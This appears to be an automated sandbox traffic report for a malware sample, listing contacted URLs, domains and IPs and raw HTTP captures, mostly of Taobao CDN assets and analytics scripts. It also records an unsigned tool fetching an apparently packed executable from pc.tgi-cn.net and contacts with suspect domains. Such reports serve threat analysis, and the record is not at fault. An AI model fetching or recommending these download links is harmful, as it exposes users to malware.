hxxp://g.alicdn.com/kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js	195.27.31.240
hxxp://gtms03.alicdn.com/tps/i3/TB1QMwDHVXXXXaFXXXXNDV3FVXX-150-50.gif	195.27.31.250
hxxp://g.alicdn.com/??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js	195.27.31.240
hxxp://pcookie.cnzz.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt	42.120.219.171
hxxp://gtd.alicdn.com/tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png	195.59.70.240
hxxp://gtms03.alicdn.com/tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif	195.27.31.250
hxxp://g.alicdn.com/alilog/mlog/??spm.js,spmact.js?v=141204	195.27.31.240
hxxp://gtms02.alicdn.com/tps/i2/TB1nEVIIXXXXXcyXXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.59.70.240
hxxp://g.alicdn.com/??kissy/k/1.4.14/seed-min.js,ju/common/1.5.9/global-min.js,tb/tracker/1.0.16/index.js	195.27.31.240
hxxp://at.alicdn.com/t/font_1432191682_899724.eot?	195.59.70.240
hxxp://gtd.alicdn.com/tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png	195.59.70.240
hxxp://g.alicdn.com/ju/??jupopup/1.0.7/index-min.js?t=16588.js	195.27.31.240
hxxp://gtms01.alicdn.com/tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png	195.27.31.240
hxxp://s.click.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr	140.205.136.25
hxxp://g.alicdn.com/ju/??jupopup/1.0.7/box-min.css?t=16588.css	195.27.31.240
hxxp://c.cnzz.com/core.php?web_id=1254485011&t=z	195.27.31.246
hxxp://skip.ju.taobao.com/json/tg/juSkip.htm?callback=skipFn0&menuType=index	140.205.140.193
hxxp://jc.110160.com/ad.htm	174.139.167.118
hxxp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798	140.205.164.98
hxxp://s11.cnzz.com/stat.php?id=1254485011	1.99.192.16
hxxp://g.alicdn.com/ju/??jufav/1.0.29/index-min.js?t=16588.js	195.27.31.240
hxxp://g.alicdn.com/ju/home/1.3.5/pages/2015/index.less.css	195.27.31.240
hxxp://pc.tgi-cn.net/down/069.exe	27.221.34.120
hxxp://dskip.ju.taobao.com/json/collect_mark.htm?_ksTS=1433181431291_98&callback=jsonp99	140.205.152.196
hxxp://gtms01.alicdn.com/tps/i1/T1A30CFvXbXXbhgrfd-29-26.png	195.27.31.240
hxxp://gtms04.alicdn.com/tps/i4/TB1xrxIIXXXXXbxXpXXt7e2LVXX-1920-455.jpg_q75.jpg	195.59.70.240
hxxp://a.tbcdn.cn/s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js	195.59.70.240
hxxp://gtms01.alicdn.com/tps/i1/TB1g8IVHVXXXXceXpXXYMrr2pXX-750-300.jpg_Q90.jpg	195.27.31.240
hxxp://gtms02.alicdn.com/tps/i2/TB1c5kBHVXXXXbnXXXXQoJ3FVXX-150-50.png	195.59.70.240
hxxp://g.alicdn.com/sd/data_sufei/1.4.3/aplus/index.js	195.27.31.240
hxxp://g.alicdn.com/s.gif	195.27.31.240
hxxp://c.cnzz.com/core.php?web_id=1255080332&t=z	195.27.31.246
hxxp://gtms02.alicdn.com/tps/i2/TB17AE8HVXXXXaDXXXX9sla8VXX-750-300.jpeg_Q90.jpg	195.59.70.240
hxxp://gtms03.alicdn.com/tps/i3/TB1zdlkIXXXXXXjaXXXYMrr2pXX-750-300.jpg_Q90.jpg	195.27.31.250
hxxp://image.anbangjiance.com/play/fxappimg/btn/tab2.png	60.221.255.11
hxxp://gtms01.alicdn.com/tps/i1/TB10W7HHpXXXXX3aXXXrywt4VXX-120-120.png	195.27.31.240
hxxp://image.anbangjiance.com/play/fxappimg/btn/tab3.png	60.221.255.11
hxxp://gtms04.alicdn.com/tps/i4/TB1.3PmHpXXXXczaXXXrywt4VXX-120-120.png	195.59.70.240
hxxp://g.alicdn.com/ju/??jufav/1.0.29/jufav-min.css?t=16588.css	195.27.31.240
tja.y73.com	119.147.115.78
web2.51.la	222.187.225.123
img.y73.com	119.147.115.60
ou.cncll.net	222.88.93.108
so.y73.com	61.196.186.155
down.y73shop.com	121.12.175.51
www.91debug.com	98.126.195.43
idca.y73.com	119.147.115.60
udt.cncll.net	120.131.64.117
ftt.cncll.net	120.131.64.116

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:05 GMT

Content-Type: text/html; charset=GBK

Last-Modified: Thu, 28 May 2015 11:54:05 GMT

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Mon, 01 Jun 2015 17:57:05 GMT

Cache-Control: max-age=0

Content-Encoding: gzip

2d3.............U[o.0.~..0.J...0^F!Tk..J.ZML.Dy0.C.9qH..j...s..h..Z./........qu{9.y7...9..vqs}..)....._....O..7...`..(e...p.G_ ......y....D2...x..:.....=O.I...A.p..(u..tz.^.]`).T..v&..jR7a..r.S..t%./.$....~..:d!-....w...V*..........5Jh..K-<....lr.7..S.a..?..%h..gaf.{.......,.4.ol.......P@..,)b..K........lP...|.SZFP..Y..,R.R..RJ.7@i....9.'OO!N...N;......E*......".....v...".\....w.jU.t.....}.u.2..".0uP..Z..|....t..E.3......p..1v....Lyf.M].S..@2...$..Vj...WBf.`_.]1.?.U*.......E.]..Vq8N..N.}T_.\...H.1#.."TFh;...K.....Y...\s.8. ..B.g!....J........e...Y.h#W."GDJ...%...n.......Deh.....Tg~...=.67Y.E".....,.RD.0..t..K.3e.@D..r`..>...i..7q..7..<83.t.T.8.....g.*.i..a..l.U...4..z....<..N.p........c.y@...j.u_=*......]..d..?tDG.......0..

GET /tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3480

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:19:14 GMT

Last-Modified: Sun, 16 Mar 2014 03:43:26 GMT

Expires: Sun, 03 Nov 2024 11:19:14 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache7.l2de1[0,200-0,H], cache41.l2de1[1,0], cache12.uk1[0,200-0,H], cache1.uk1[0,0]

Age: 17908676

X-Cache: HIT TCP_MEM_HIT dirn:6:379008585

X-Swift-SaveTime: Mon, 11 May 2015 09:25:18 GMT

X-Swift-CacheTime: 299296436

.PNG........IHDR.......g.....o...... cHRM..z%..............u0...`..:....o._.F....bKGD..............pHYs.................vpAg.......g..Z=6....IDATx....l.......I..i.[...^...-Yn...q....6m......Q..*j.1n,..U..P..E.4.|.:ic......N... ..JT...{.....R.....J....om..!.G.8...,...?.O../~............B|Qt."0....EH....i@...0Z:!......tB.lZ........B....$x...B.TW..\....w.....}....m.z. ./1d....f..q...,.d....7[.f{.q...<..I...Z........u...U..\....1...Q6E&c.X......X.,...r93.<..=r..]._W}fBd M....b.|p.1.)...N.HWR..d..S..hs..B\6s.c.Bs..O..e.....7.u.On..q.2.M.c7.....( 2i"...<!.......O..$xB( ..B.....H..P.Z>eL.L.SL...D..C?7..h.5......L........%xYn..e.....0...p.....-.#.g.)=..jf...c...Kg.....A....{y.e.5....@V./.....D.._.k.?....D....VY3...xp................3.......#.P[[......].fM..@ @CC......K8........">...FGGijj..tRVV...{.#.;v.`..%....O>.]w...2_7....t8eY\...^(...v..x.D"..n..v{R9..Joo/.7n..... W...p...~?ccc.={......\b.711AII..G..e..u...n.V /.."N....A.....l.9r...j..x..Y........y....<.i.7.....D..'o..|....=Oa...\...i..yxm|.t&.....mV..........v{.5....8q...Zl6............2<<..jUVVRSS...g.y.@ ..s].W....a..e....n...b..v...Eaa!UUU.|>..0......Q]]..l.....V2QA..Q...../.U1}.......JW.-...g..;.g..6...s.....|..g..."..g...H_..fr.-W}z.).......3....Z.......... ........b.......x<...x=....zf...JZ....\. v5..................[;..."...R.......P.e.j...............S._G?.....q....'?........G 1x'?As.S}.YMy....x...q:......tmmm.X...m..._....tww.F7.l6.....m.`t..}.......X..<q.x7..BLL$O-[,.....@GG.V.5)................k./...w.ygR.WPP@8.....P

<<< skipped >>>

GET /core.php?web_id=1255080332&t=z HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 751

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:57:02 GMT

Last-Modified: Mon, 01 Jun 2015 17:57:02 GMT

Expires: Mon, 01 Jun 2015 18:12:02 GMT

Via: cache29.l2de1[321,200-0,M], cache55.l2de1[322,0], cache10.de1[321,200-0,M], cache7.de1[322,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:57:02 GMT

X-Swift-CacheTime: 900

!function(){var p,q,r,a=encodeURIComponent,b="1255080332",c="",d="",e="online_v3.php",f="z4.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.callRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScriptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><img border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a href='" q "' target=_blank title='" j "'>" j "</a>",k.createIcon([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application/javascript..Content-Length: 751..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:57:02 GMT..Last-Modified: Mon, 01 Jun 2015 17:57:02 GMT..Expires: Mon, 01 Jun 2015 18:12:02 GMT..Via: cache29.l2de1[321,200-0,M], cache55.l2de1[322,0], cache10.de1[321,200-0,M], cache7.de1[322,0]..X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2..X-Swift-SaveTime: Mon, 01 Jun 2015 17:57:02 GMT..X-Swift-CacheTime: 900..!function(){var p,q,r,a=encodeURIComponent,b="1255080332",c="",d="",e="online_v3.php",f="z4.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)

<<< skipped >>>

GET /down/069.exe HTTP/1.1

Host: pc.tgi-cn.net

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 2511776

Connection: keep-alive

Set-Cookie: _alicdn_tc=AQAAAOjmAlX5VQYA5/SKweRi1FaJBzym; Path=/; Expires=Mon, 01-Jun-15 18:57:55 GMT; HttpOnly

Last-Modified: Mon, 01 Jun 2015 17:48:36 GMT

Accept-Ranges: bytes

ETag: "83d0512f939cd01:256"

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:50:03 GMT

Via: cache26.l2cn202[281,200-0,H], cache23.l2cn202[157,0], kunlun6.cn125[0,200-0,H], kunlun19.cn125[0,0]

Age: 472

X-Cache: HIT TCP_MEM_HIT dirn:3:165368355

X-Swift-SaveTime: Mon, 01 Jun 2015 17:50:08 GMT

X-Swift-CacheTime: 3600

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z..........@.#......p....@..........................0&.....&h&..............................R#.P.....#.......%..$...........;&.....................................\=#. .....................".h............................text....X.......................... ..`.rdata.......p......................@..@.data...x...........................@....ndata.......@...........................vmp0...............................`....tls................................@....vmp1...qV.......X..................`....rsrc....$....%..&...^..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /tps/i1/T1A30CFvXbXXbhgrfd-29-26.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 549

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:10:06 GMT

Last-Modified: Mon, 30 Dec 2013 02:41:40 GMT

Expires: Thu, 29 May 2025 11:10:06 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache8.l2de1[494,200-0,M], cache7.l2de1[494,0], cache5.de1[0,200-0,H], cache1.de1[0,0]

Age: 24424

X-Cache: HIT TCP_MEM_HIT dirn:7:272523753

X-Swift-SaveTime: Mon, 01 Jun 2015 11:10:06 GMT

X-Swift-CacheTime: 315360000

.PNG........IHDR.............|H.....lPLTE....o.....Bo.2d.4f.v..,^..`.*\....;h................X.....[..b...............................................c......tRNS...aRS.LNJ.Z.....w.{...s......QIDAT(.uR.r.0.4.9...$# m......C..2c,V..-..}l..u....]U...0.....q^....d......k..a%JI...L"$..|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVcbe..b...l...^.$.Y.!.R#.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l..![... yI.._..=.kz.....s0....NYR..cN......"s....*Mx.A........V..y..].o._fkN.HH...A..)I...-...y.....N.2......3.... ..d..Wu......x.8.R~.1.-s........IEND.B`.HTTP/1.1 200 OK..Server: Tengine..Content-Type: image/png..Content-Length: 549..Connection: keep-alive..Date: Mon, 01 Jun 2015 11:10:06 GMT..Last-Modified: Mon, 30 Dec 2013 02:41:40 GMT..Expires: Thu, 29 May 2025 11:10:06 GMT..Cache-Control: max-age=315360000..Access-Control-Allow-Origin: *..Via: cache8.l2de1[494,200-0,M], cache7.l2de1[494,0], cache5.de1[0,200-0,H], cache1.de1[0,0]..Age: 24424..X-Cache: HIT TCP_MEM_HIT dirn:7:272523753..X-Swift-SaveTime: Mon, 01 Jun 2015 11:10:06 GMT..X-Swift-CacheTime: 315360000...PNG........IHDR.............|H.....lPLTE....o.....Bo.2d.4f.v..,^..`.*\....;h................X.....[..b...............................................c......tRNS...aRS.LNJ.Z.....w.{...s......QIDAT(.uR.r.0.4.9...$# m......C..2c,V..-..}l..u....]U...0.....q^....d......k..a%JI...L"$..|..&.....Y. ...:...m,.W`K.9)$...IL.N%Z...$b.LVcbe..b...l...^.$.Y.!.R#.R.r....v...O...x....;6.4.\<@.B*.....$.fr0"l..![... yI.._..=.kz.....s0....NYR..cN......"s....*Mx.A........V..y.

<<< skipped >>>

GET /tps/i1/TB1g8IVHVXXXXceXpXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 87545

Connection: keep-alive

Date: Mon, 01 Jun 2015 00:04:49 GMT

Last-Modified: Fri, 29 May 2015 12:39:07 GMT

Expires: Thu, 29 May 2025 00:04:49 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache3.l2de1[0,200-0,H], cache6.l2de1[0,0], cache4.de1[0,200-0,H], cache1.de1[0,0]

Age: 64345

X-Cache: HIT TCP_MEM_HIT dirn:2:778342436

X-Swift-SaveTime: Mon, 01 Jun 2015 00:10:38 GMT

X-Swift-CacheTime: 315359651

......JFIF.....d.d......Ducky.......<......Adobe.d.................................................................................................................................................,.............................................................................................!1..A".Qa2.q.#....BR...br.3$....s...U.7...CS.4Tt.%5uV.c.d......E.'..D.e&6W......................!1..AQ.aq"........2..BR..br#3.4......S$..Ccs.E............?..S^...m.P;h.P:..P).u..`!q.aj@....y..P.r4.o"Q..J.I..9............_!.s..C....A...R.:.@T..*.m.*...h.T.....Q.X............tm<.f.CQyjqer...T.N.4Tu...U.<.i1.1.w.2. e..3?Mm......(.....e.3..E..:.<..._uu.3.....`3)*.....#.?..X....Q.>N......}.....%m....<....|5.^gy..OB5....F..b.z..r.{V.H.xn^_.z..(..^o%.*...|....:.-v.. .-m&...C.......}...K......]..,9..u[.Z....21.....F>.1T...".......l...}.......8.T.e.......: .%.S$.]J.......".6.\..I.I.C..=&...~:.H.Y!o'.<...<.|...)...#D.%o/-g.M..>.A..5.C.pu[E...D.:...v..H.:`6....T...9.L...#....'..A.&G.u|L..:..W&UA)...!...u4....U..}.*..|4.:....E.h. .@...f.R4.g.EDu8........:..m..P...... .Q..E@......E4.I..J. .P.....Rt....D..*:....(...G@...B....77?......6cE.......-..v(........_....V..N...a#P.J..(..g... ..EQ..$`.g...i..1{... B.........$.:8. ..s~...S.C.]d.3...I.......5.....3..E.q......O..h.*...r2.0.jU .]:..U..PH....k=.T.j....v)..W...Ov.D\J.1'Z......H...l......SMCB,..^.D...`h...my}....e....t...3..Q^,x~m4.N0.`...7>k......2F?..l............./.Nc.[.;`V......Uk...\.....x.V..n..S..#T...m.lm{........H,......4T1.>l.J..<./.ic.h..n-eX

<<< skipped >>>

GET /tps/i1/TB1UaVtIXXXXXbHXFXX9sla8VXX-750-300.jpeg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 91381

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:25:41 GMT

Last-Modified: Mon, 01 Jun 2015 02:00:42 GMT

Expires: Thu, 29 May 2025 11:25:41 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache39.l2de1[0,200-0,H], cache51.l2de1[0,0], cache7.de1[0,200-0,H], cache1.de1[0,0]

Age: 23497

X-Cache: HIT TCP_MEM_HIT dirn:7:526969560

X-Swift-SaveTime: Mon, 01 Jun 2015 11:31:14 GMT

X-Swift-CacheTime: 315359667

......JFIF.....H.H.....C....................................................................C.......................................................................,..............................................d.........................!..1..AQ."aq...2..#BR....34Sbrs.......$Cc....%.....57Tdtu...&DUV..'EFev....................................O........................!1..AQ.aq....."2...#3BR......r...5CSTb..$%4..D....s..............?.f.....f.)GA.B.Z"<h$.....D..DR....h.l...Zl.C;PBRsA$...z4.(..F.RM.I)*.F.R.yN|).a6rG.......$.:JP.4R....4.I..%6.........R......B..PA..%QJ.4r.U...v;.I(.ZM(%5,...KJ..PF<(.8..$.*..F<(%..i).P'......;.I).,.RS.,...I...E(.. .P>...iD..F.8.....@......%.....9>.X.;.....".%.KH'.."a.1..2.A-..$ .) .$..$.,...$....&.......P..B..@&\`,D..M..IF..P..k.)6P>4..I...)..M...w.)$...I)..H))..I n..._:A..\.o/......Y..0H....J........>ks....?!\...-..3S...\z...<.z3?.#.E..........Qz...<..f.zG../.........P.j..x!..~....?.b......C..~A........(.......G...h~A...#........ ..2...?T=V..............q_....Q.........C.....(....._.G...[.A..z.o....E.s..........o...C.c~......1O....Q...v..x..v..P\Sl...n..oZ.../..jt.Ws.C..$hUf%mB.....r.u..&.K.0..DtIR._.......B. Q..%.T....)A6...7..0...JDJI4i.R....P....a..h"%.)...].(&NI$...T.IDw..I)%c..\...M......-8.E.PA .JA)*..l.........m.I..P.FL%):..Mwo..=.@.4...n..y.....rv.P......aW.77.......;.d.v...y`....@=s.....W.[.-.R..........G.j.......P ..$.S.P...R.B...A.K=).Q....-.$...........@.. ....jKJZz...)&.Q..~.R.....)%Ih...h....m.!..6(B9..4.`.RR......Tq.5...Y..ZM.....{OJP......T}

<<< skipped >>>

GET /ju/common/1.5.9/global-min.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 11034

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:35:41 GMT

Last-Modified: Tue, 26 May 2015 08:30:41 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache38.l2de1[834,304-0,H], cache49.l2de1[835,0], cache9.de1[0,200-0,H], cache5.de1[0,0]

Content-Encoding: gzip

Age: 1286

X-Cache: HIT TCP_MEM_HIT dirn:3:606438577

X-Swift-SaveTime: Mon, 01 Jun 2015 17:35:41 GMT

X-Swift-CacheTime: 3600

...........}...Fr._An..........r.dYvr...r...J.......IP......3=...t.._..l..<z..==......e_VEgZ..;.}U..N.w.U'.:.e..w.|(...E...t...b.Y.;...b.Y.7...*..u.Y-;....l.E..;U....E........m...I.v...r}?.=....~. ....g.Uu../.o.U:/.U.{(.j...u..V.lW...C.kZ.>...o...Y.*h`]... V..r0.p.I.......'...r.-w..J. [..?t.lQ>d.l..v..j....2.)[..o...Qp.DJ.t.n.k1..z.|lt#x`...E5..z...m..ufK.N>_w....l..v..U1Y.U.....^..k<. ...........e..Jfe^t.Ns...{..P..a..8......&..}G>w..u..d..q...djZ....H.T]-w@&.g]<..&..@8 .......Z.k..~..7u..]Un..i..i.l......|.......U.tU..tV.V.fW.r..-.Kq..r.&.........3.....~.........f..; ..VO....h8.../....on...nQVO>..?_,....... ....x..y^.i.)...M....'......p..SG.*3@............C...x....Q...[...VE..$....,.&.G.d.. ......5....z.....r.Ye.'S.l. .(N.[.g.|.x..d...a.N./.j1...6.n.3...4......u.........n7.nI..-V..........z..6.....V._...[Y.LH..axM..u2-.5.;..0.I#............q......oz.......A...@.\,.......3....J.i.......K.'..a\..M.....#..9hm..`......._..:/>..~..v`........i..)...$.=.r..*....t.....c`6.u.tx....G..:{.i.3..z..:..g..wW.u...M....O.!....\-.....\.E.aI2@/1....mT.;..U..c~..GS3V..X..U1...U.U......?.\N...M.&^..H..}.....b3..!......=.....5.H..............F.W........'i...E\.(-.i..Z."/..4.m.*..........@9....A.0..8........._...H5....`.x.d..p.k.B....~..O..8..;UM...6.`.....Z`..2p.s.$....C.h0.... ...W...V.%:)..........2.."N...$..]0...O.lMF...z.=..z...0....xQO.-8........-..c...nQ....mM..~W.``.E...g.......n...|.1...4D.h........u.:....K.\...3/H..#....Tg....Tc.......NT..........n.......UM.\..-4P.....K.-oHE7.0"6{.h.../.ET..jVd

<<< skipped >>>

GET /??kissy/k/1.4.14/seed-min.js,ju/common/1.5.9/global-min.js,tb/tracker/1.0.16/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 28824

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:18:26 GMT

Last-Modified: Tue, 26 May 2015 08:30:41 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache20.l2de1[0,304-0,H], cache29.l2de1[1,0], cache7.de1[0,200-0,H], cache5.de1[0,0]

Content-Encoding: gzip

Age: 2321

X-Cache: HIT TCP_MEM_HIT dirn:5:491155721

X-Swift-SaveTime: Mon, 01 Jun 2015 17:22:57 GMT

X-Swift-CacheTime: 3600

............w..G....^........J..B\Y.f.uz,yw..4o.h...FP......W...hP...{....@w.S.N.S.O.<.^...............|........~Q.......[..;.d.v....Qwk1................;....If.n...t.....T/...T.T..uy....tVI....q...U.q.z.>...mt...t..M....._...8.^_W .qZm.w..jz..Z{..u.M..~c./.Nz.....m2.4....l6.5..]7...../.z..W.._~...i........=z.E.?..i\...Ec1....g.Io.o...(.M......M:.3.F..j....cKf..2P3......\..{.A....[...5......Y.YT...A-M:.J7..J.I...i..&'..N...F.....I ..6*g....i..J.....3WL..'.3=.5S.....}...F.e...:...o..~:._..n.........:...nI.Jru.E.....u........}..IG..........Y.(~.......5......5"--........L...G..u.....W......T..../Ar.ua.....^e{xu.......B.E.K.&.h..e..<.],.....|.Jj....._...F.....4_.......bg.J.....-N._.[....A.....w.N......j...:oR..C...}2.^]........r..m..P........w.V.....LGsvX...go[/......j5....oy..rOg..}.-.....d8qXH..[fzh...Fe.z_......j..}#l.......v...2.......Y...|.o..f...Z..__....l\I..G..}7_....t...;.a.....mE.........?>....?F....g.......es.k.Y.,.....\L_-f.....v1.^.........8.%.QZ.|...~.......o'?.Z1p.M.......^\.X....7S.vj;..$.%....b4\T.8.6C...".....eXMDA...J&..|../..h.."R..a.........J...V..c.j.w...........q..J.z.I...6}.R.2..X[..6;....-O......w...3.........w.....W.......F.=....;h.....j..;j......[q.3....w ....^FSCw.7Z.io....Z....p.....h..u..........3^.1....6..]...aKl.^...brnDl...~.xP=.7..f.m.N...".#......B2..........f.......M.._....~....{...'...:.....b^..b..M...u..s.kv `T...0.p$c..6Y..F..v..........>....1...9...o..................R$.{......Q.L...r.......[......\.t..w.........8.....P.q.^.......7U...8}.H'....D.Fi...8.;hvk..bN

<<< skipped >>>

GET /kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js HTTP/1.1

Accept: */*

